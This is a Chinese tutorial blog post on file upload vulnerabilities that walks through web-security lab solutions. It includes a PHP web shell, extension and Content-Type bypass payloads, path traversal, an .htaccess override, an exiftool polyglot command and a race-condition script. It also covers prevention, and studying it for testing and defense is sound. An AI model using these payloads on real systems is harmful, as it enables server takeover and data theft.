一篇文章就能让你学会文件上传漏洞,仔细学习
zhezhongyun 2025-01-02 20:20 43 浏览
文件上传漏洞
本篇文章我们将详细的介绍一下文件上传的相关知识,包括原理、攻击手法、常见的绕过方法、修复方法等。
什么是文件上传漏洞
文件上传其实是一个非常常见的功能,几乎每个网站都会涉及到这个功能,比如 上传头像、证件照、业务系统的Excel、txt、报销凭证等。但是如果一个系统过于信任他的用户,没有对用户上传的文件名、文件类型、文件内容、大小等进行校验,则都会造成文件上传漏洞,如果系统还返回了文件的保存路径并且可以解析,那这个漏洞可就太完美了。
文件上传漏洞的危害
文件上传漏洞能造成什么危害主要取决于两个方面:
1.这个系统对文件的哪个方面没有进行校验,大小、类型还是内容
2.上传上去的文件收到什么限制
比如说在最完美的情况下(对于攻击者来说),一个服务器没有校验用户上传的文件类型,并且服务器配置允许 php jsp 之类的文件去作为一个代码文件被执行。那么攻击者就可以上传一个恶意文件作为 web shell,从而进一步获取完整的服务器控制权限。
再比如服务器没有对用户上传的文件名进行限制,或者没有重命名用户上传的文件,那可能会允许攻击者覆写关键的配置文件,如果恰好还存在路径穿越漏洞,那效果就更炸裂了。
至于说不检测文件大小,这个的危害大家就更容易理解了,一方面可能会绕过某些防火墙的内容检测,另一方面,即便没有恶意代码,也没有其他问题,但是它占空间啊,这可都是钱啊,如果文件的保存路径就是网站运行的机器,那还可能造成类似 Dos 攻击的效果。
如何预防文件上传漏洞
1.使用白名单策略,仅允许上传你需要的文件格式
2.检查文件名中是否包含可能会影响文件保存路径的 ../
3.对上传的文件统一进行重命名
4.所有的验证动作应该在保存完成之前,而不是先保存,如果验证不通过再删除
5.尽量使用已经得到广泛验证的框架来处理文件上传,而不是自己写一个处理逻辑
6.使用 oss 之类的存储方式,它们不会对文件进行解析,即便上传上去恶意文件也无法使用
案例详解
最简单的文件上传漏洞
作为示例,我们先看一个没有任何验证的文件上传功能,来了解这个漏洞
任务简报
这个网站在图片上传的位置存在一个文件上传漏洞,你要做的是上传一个基于 php 的web shell 来获取到 /home/carlos/secret 的内容
任务过程
1.首先我们先把我们要上传的文件准备好,里面要包含获取文件内容的代码
echo file_get_contents('/home/carlos/secret'); ?>
2.然后我们看看它的上传功能是什么样子的
3.随便上传一个东西看一下,它的请求包的构成
4.我们可以看到它使用的是 multipart/form-data 上传的文件,同时文件名在 Content-Disposition 请求头中,响应包回显了一个疑似文件路径的地址,那我们就拼接一下,看能不能访问到这个图片
5.可以看到失败了,没有关系,我们还可以看看这个图片对应的链接是什么,在图片的位置右键,选择在新的标签页中打开
6.这时我们就可以看到完整的文件路径了,那下一步当然就是要干点坏事了,上传我们的 webshell 看看有什么限制
7.可以看到没有任何限制,直接就传上去了,那我们就可以直接访问了 /files/avatars/burp.php
8.ok,任务完成,收工下班
一些绕过方法
绕过文件类型限制
这个方法只针对那些通过检测 content-type 头的值的情况,如果服务器还校验其他的比如 文件后缀、文件内容,那就不行了
任务简报
这个网站在图片上传的位置存在一个文件上传漏洞,你要做的是上传一个基于 php 的web shell 来获取到 /home/carlos/secret 的内容
任务过程
1.网站还是和之前的一样,我们直接上传一个 php 文件看看有什么反应
2.这里可以看到,服务器报错说我们的文件类型是 application/octet-stream ,但是网站只允许上传 image/jpeg 和 image/png,遇到这种情况,我们可以直接替换掉 content-type 头的值,来尝试绕过,如果服务端后续没有对文件内容和文件后缀进行检测的话是有很大概率可以绕过的
3.可以看到文件被成功上传了上去,那我们还是直接访问它拿到 flag /files/avatars/burp.php
只读路径绕过
大家可能遇到那种文件上传上去了,也拿到保存的路径了,但是访问之后返回的是你的代码,而不是代码的执行结果。这种情况可能有几种原因:
1.文件被上传到文件服务器了,这个服务器只配置了只读的权限
2.文件被上传到统一服务器的只读目录了
3.文件被上传到 oss 这类对象存储服务器上了
这里介绍的就是第二种情况,对于另外两种情况,如果你没有办法把文件上传到网站运行的服务器上,那就可以宣布放弃了
任务简报
这个网站在图片上传的位置存在一个文件上传漏洞,你要做的是上传一个基于 php 的web shell 来获取到 /home/carlos/secret 的内容
任务过程
1.还是老样子,上传我们的恶意文件看看是个什么效果
2.好的成功上传,那我们访问看看
3.这里我们可以看到网站把我们的文件当成了一个静态资源反了回来,并没有执行它,但是我们可以发现它是保存在网站运行的服务器上的,那可能就是第二种情况了,avatars 这个目录是一个只读目录,那我们就需要尝试把这个文件上传到其他目录了,payload ../burp.php
4.这里我们可以发现,网站似乎把我们的 ../ 给吞掉了,那我们就改成 ..%2Fburp.php 试试
5.这次就对了,我们去访问一下这个地址,看看它是不是也是只读的 files/burp.php
6.这次我们就拿到 flag 了,收工下班
黑名单绕过
检测用户上传的文件类型是不是在黑名单里这种策略有点用,但不完全有用,因为我们总是有各种奇奇怪怪的方法可以绕过黑名单检测,比如 大小写、加数字后缀(php1) 之类的。
当然对于一些特殊情况下以下方法也能绕过黑名单
1.大小写绕过,PhP、Jsp
2.多个后缀,burp.php.jpg (代码校验最后一个后缀,中间件解析第一个后缀的情况)
3.添加后缀字符,burp.php. (一些组件会忽略后面的空白或点)
4.URL编码,burp%2Ephp
5.00截断,burp.php%00.jpg (代码校验用java或php等高级语言编写,但是服务器处理文件使用的是C/C++的低级函数,可能会使两者出现差异)
6.双写后缀,burp.p.phphp (代码发现危险格式.php后将其置空,使得前后的字符组成了一个新的 .php)
任务简报
这个网站在图片上传的位置存在一个文件上传漏洞,你要做的是上传一个基于 php 的web shell 来获取到 /home/carlos/secret 的内容。
但是这个网站禁止了一些恶意文件的上传,想办法绕过它,达成你的目的
任务过程
1.还是老样子,我们上传一个文件看看是怎么个事
2.这里说了,我们上传的文件不被允许,那我们就看看这个服务器是 Windows 的还是 Linux 的,如果是 Windows 的,那我们就可以试试大小写绕过
3.这里我们把路径从 my-account 改成了 my-aCCount 任然可以访问成功,说明服务器对大小写不敏感,大概率是Windows的服务器或者说代码对大小写不敏感,那我们就试试把 burp.php 改成 burp.PhP 和 burp.phP13 试试
4.可以看到,PhP 上传失败,phP13 虽然上传成功,但是并没有被作为代码解析,那我们还是试试有没有路径穿越
5.很遗憾,它把我上传的文件名作为了一个字符串,而不是一个目录切换的符号,那我们只能想想办法,让服务器把 phP13 作为一个 php 代码来解析一下了。这里我们可以使用覆盖配置文件的方法来把 phP13 定义为 application/x-httpd-php 从而告诉 Apache 使用 PHP 解析器来处理这种类型的文件
6.上面我们通过访问 /files/avatars/.htaccess 确定了这个路径下存在 .htaccess 这个文件,那下一步就是覆写它了
AddType application/x-httpd-php .phP13
7.上传这个文件,注意修改文件名和文件类型分别为 .htaccess 和 text/plain
8.此时我们再访问 files/avatars/burp.phP13,服务器就会把它交给 php 解释器去执行了
内容校验绕过
有些网站对于文件上传的监测不是基于文件后缀或者文件类型,而是去检测文件的内容,看它是不是自己要求的文件,比如PEG文件总是以字节FF D8 FF开头,他们就检测文件的开头是不是这个。
但是这种方法也不是绝对安全的,我们可以使用 ExifTool 之类的工具去制作一个元数据中包含恶意代码的多语言JPEG文件。
任务简报
这个网站在图片上传的位置存在一个文件上传漏洞,你要做的是上传一个基于 php 的web shell 来获取到 /home/carlos/secret 的内容。
任务过程
1.我们还是上传一个php文件看看是什么情况
2.它说我的不是一个有效的图片,那我们使用 ExifTool 制作一个带有图片的php代码文件 exiftool -Comment="".jpg -o exploit.php,然后上传上去
3.可以看到,这个命令给图片的开头插入了我们的php代码,并且成功上传了上去,接下来我们访问一下看看
4.start 和 end 中间的代码就是我们的 flag 了,提交收工
条件竞争绕过
可能大家会说,我怎么没遇到过这么简单的验证条件。
这个确实,现在大部分网站如果使用的较新的框架的话,它们对文件上传的处理是比较完善的,通常你上传的文件并不会直接保存到目的地址,而是先将其暂存在一个沙箱或者临时目录,然后重命名一个随机文件名防止覆盖原有文件,等所有的验证都没问题了,才会将其保存至预设的保存路径。
但是有的公司系统是自研的,他们不想使用开源的框架,就是自己写的文件上传组件,他们可能购买了一些设备来检测上传的文件,这就使得他们的研发有可能过于依赖这个设备,他们会选择将文件直接上传到文件系统上,然后让防病毒设备进行检测,如果检测出问题再删除掉它,虽然这个过程可能只有几毫秒,但是依然是有可能被攻击者执行的,也就是我们本节介绍的条件竞争。
但是这种情况的检测比较依赖代码审计,在纯盒测试中,可能由于运气的问题,或者你的并发不够高,而导致你检测不出来这个漏洞。
至于怎么预防这种漏洞,其实可以使用随机的临时目录名来解决,只要让攻击者预测不到你的临时目录,那么他就不能通过请求这个文件来执行这个web shell,从而保证即便存在这个漏洞,它也无法利用。
任务简报
这个网站在图片上传的位置存在一个文件上传漏洞,你要做的是上传一个基于 php 的web shell 来获取到 /home/carlos/secret 的内容。
任务过程
1.还是上传一个文件看看是个什么情况
2.可以看到即使使用我们上一节制作的带有图片的恶意php文件也无法上传,正常来说我们是不知道后台的判断逻辑的,只能尝试我们已知的各种绕过后给出以下结论
3.但是我们这是个靶场啊,那就试试上面提到的插件 Turbo Intruder,找到上传文件的那个数据包,右键发送到插件
4.下面就需要一定的python代码基础了,我们首先准备以下代码
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=10, # 并发连接数
requestsPerConnection=100, # 每个连接的请求数
pipeline=False) # 是否使用管道
# 定义第一个请求上传web sheel
request1 = '''POST /my-account/avatar HTTP/1.1
Host: 0afc00a704df996f80c6ee7f00260038.web-security-academy.net
Cookie: session=3Zozd04zEhIUbPMG8YeDTMvAeYn6HZmN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------181290533733138099554259295581
Content-Length: 549
Origin: https://0afc00a704df996f80c6ee7f00260038.web-security-academy.net
Referer: https://0afc00a704df996f80c6ee7f00260038.web-security-academy.net/my-account?id=wiener
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
-----------------------------181290533733138099554259295581
Content-Disposition: form-data; name="avatar"; filename="burp.php"
Content-Type: application/octet-stream
-----------------------------181290533733138099554259295581
Content-Disposition: form-data; name="user"
wiener
-----------------------------181290533733138099554259295581
Content-Disposition: form-data; name="csrf"
MQYNOxJzNmz9WZV3V7JcPuDmXb01NQst
-----------------------------181290533733138099554259295581--
'''
# 定义第二个请求,执行刚才的web shell
request2 = '''GET /files/avatars/burp.php HTTP/1.1
Host: 0afc00a704df996f80c6ee7f00260038.web-security-academy.net
Cookie: session=3Zozd04zEhIUbPMG8YeDTMvAeYn6HZmN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers\r\n\r\n''' # 注意这里的 \r\n\r\n 这个是必须有的,用来闭合请求
# 使用gate 'race1'将第一个请求加入队列
engine.queue(request1, gate='race1')
# 使用相同的gate 'race1'将第二个请求加入队列9次
for x in range(9):
engine.queue(request2, gate='race1')
# 等待所有标记为'race1'的请求准备好
# 然后,发送每个请求的最后一个字节
# 这个方法是非阻塞的,就像queue方法一样
engine.openGate('race1')
# 等待引擎在给定的超时时间内完成所有请求
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
5.这里点击最下面的 attack 开始攻击,之后查看响应为 200 的就可以获得 flag 了
6.OK 收工下班
PUT 方法上传
这个就比较简单了,使用 OPTIONS 方法去请求这个网站,看看它支不支持 PUT 方法,支持的话就直接使用 PUT 上传就好了,没什么技术含量
总结
基本上常用的文件上传的验证方式和绕过本文都提及了,在实际测试中我们可能会同时使用上几个技术来实现绕过,所以还是需要师傅们活学活用,不要被经验束缚住了,共勉。
本文来源于隐雾安全
相关推荐
- JavaScript做个贪吃蛇小游戏(过关-加速),无需网络直接玩。
-
JavaScript做个贪吃蛇小游戏(过关-则加速)在浏览器打开文件,无需网络直接玩。<!DOCTYPEhtml><htmllang="en"><...
- 大模型部署加速方法简单总结(大模型 ai)
-
以下对大模型部署、压缩、加速的方法做一个简单总结,为后续需要备查。llama.cppGithub:https://github.com/ggerganov/llama.cppLLaMA.cpp项...
- 安徽医大第一医院应用VitaFlow Liberty(R)Flex为患者焕然一“心”
-
近日,在安徽医科大学第一附属医院心血管内科负责人暨北京安贞医院安徽医院业务副院长喻荣辉教授的鼎力支持和卓越带领下,凭借着先进的VitaFlowLiberty(R)Flex经导管主动脉瓣可回收可...
- 300 多行代码搞定微信 8.0 的「炸」「裂」特效!
-
微信8.0更新的一大特色就是支持动画表情,如果发送的消息只有一个内置的表情图标,这个表情会有一段简单的动画,一些特殊的表情还有全屏特效,例如烟花表情有全屏放烟花的特效,炸弹表情有爆炸动画并且消息和...
- 让div填充屏幕剩余高度的方法(div填充20px)
-
技术背景在前端开发中,经常会遇到需要让某个div元素填充屏幕剩余高度的需求,比如创建具有固定头部和底部,中间内容区域自适应填充剩余空间的布局。随着CSS技术的发展,有多种方法可以实现这一需求。实现步骤...
- css之div内容居中(css中div怎么居中)
-
div中的内容居中显示,包括水平和垂直2个方向。<html><head><styletype="text/css">...
- 使用uniapp开发小程序遇到的一些问题及解决方法
-
1、swiper组件自定义知识点swiper组件的指示点默认是圆圈,想要自己设置指示点,需要获得当前索引,然后赋给当前索引不同的样式,然后在做个动画就可以了。*关键点用change方法,然后通过e.d...
- 微信小程序主页面排版(怎样设置小程序的排版)
-
开发小程序的话首先要了解里面的每个文件的作用小程序没有DOM对象,一切基于组件化小程序的四个重要的文件*.js*.wxml--->view结构---->html*.wxss--...
- Vue动态组件的实践与原理探究(vue动态组件component原理)
-
我司有一个工作台搭建产品,允许通过拖拽小部件的方式来搭建一个工作台页面,平台内置了一些常用小部件,另外也允许自行开发小部件上传使用,本文会从实践的角度来介绍其实现原理。ps.本文项目使用VueCLI...
- 【HarmonyOS Next之旅】兼容JS的类Web开发(四) -> tabs
-
目录1->创建Tabs2->设置Tabs方向3->设置样式4->显示页签索引5->场景示例编辑1->创建Tabs在pages/index目录...
- CSS:前端必会的flex布局,我把布局代码全部展示出来了
-
进入我的主页,查看更多CSS的分享!首先呢,先去看文档,了解flex是什么,这里不做赘述。当然,可以看下面的代码示例,辅助你理解。一、row将子元素在水平方向进行布局:1.垂直方向靠顶部,水平方向靠...
- 【HarmonyOS Next之旅】兼容JS的类Web开发(四) -> swiper
-
目录1->创建Swiper组件2->添加属性3->设置样式4->绑定事件5->场景示例编辑1->创建Swiper组件在pages/index...
- CSS:Flex布局,网页排版神器!(css3 flex布局)
-
还在为网页排版抓狂?别担心,CSS的flex布局来了,让你轻松玩转各种页面布局,实现网页设计自由!什么是Flex布局?Flex布局,也称为弹性布局,是CSS中的一种强大布局方式,它能够让你...
- 移动WEB开发之flex布局,附携程网首页案例制作
-
一、flex布局体验传统布局兼容性好布局繁琐局限性,不能再移动端很好的布局1.1flex弹性布局:操作方便,布局极为简单,移动端应用很广泛PC端浏览器支持情况较差IE11或更低版本,不支持或仅部...
- 2024最新升级–前端内功修炼 5大主流布局系统进阶(mk分享)
-
2024最新升级–前端内功修炼5大主流布局系统进阶(mk分享)获课》789it.top/14658/前端布局是网页设计中至关重要的一环,它决定了网页的结构和元素的排列方式。随着前端技术的不断发展,现...
- 一周热门
- 最近发表
-
- JavaScript做个贪吃蛇小游戏(过关-加速),无需网络直接玩。
- 大模型部署加速方法简单总结(大模型 ai)
- 安徽医大第一医院应用VitaFlow Liberty(R)Flex为患者焕然一“心”
- 300 多行代码搞定微信 8.0 的「炸」「裂」特效!
- 让div填充屏幕剩余高度的方法(div填充20px)
- css之div内容居中(css中div怎么居中)
- 使用uniapp开发小程序遇到的一些问题及解决方法
- 微信小程序主页面排版(怎样设置小程序的排版)
- Vue动态组件的实践与原理探究(vue动态组件component原理)
- 【HarmonyOS Next之旅】兼容JS的类Web开发(四) -> tabs
- 标签列表
-
- HTML 教程 (33)
- HTML 简介 (35)
- HTML 实例/测验 (32)
- HTML 测验 (32)
- JavaScript 和 HTML DOM 参考手册 (32)
- HTML 拓展阅读 (30)
- HTML常用标签 (29)
- HTML文本框样式 (31)
- HTML滚动条样式 (34)
- HTML5 浏览器支持 (33)
- HTML5 新元素 (33)
- HTML5 WebSocket (30)
- HTML5 代码规范 (32)
- HTML5 标签 (717)
- HTML5 标签 (已废弃) (75)
- HTML5电子书 (32)
- HTML5开发工具 (34)
- HTML5小游戏源码 (34)
- HTML5模板下载 (30)
- HTTP 状态消息 (33)
- HTTP 方法:GET 对比 POST (33)
- 键盘快捷键 (35)
- 标签 (226)
- HTML button formtarget 属性 (30)
- CSS 水平对齐 (Horizontal Align) (30)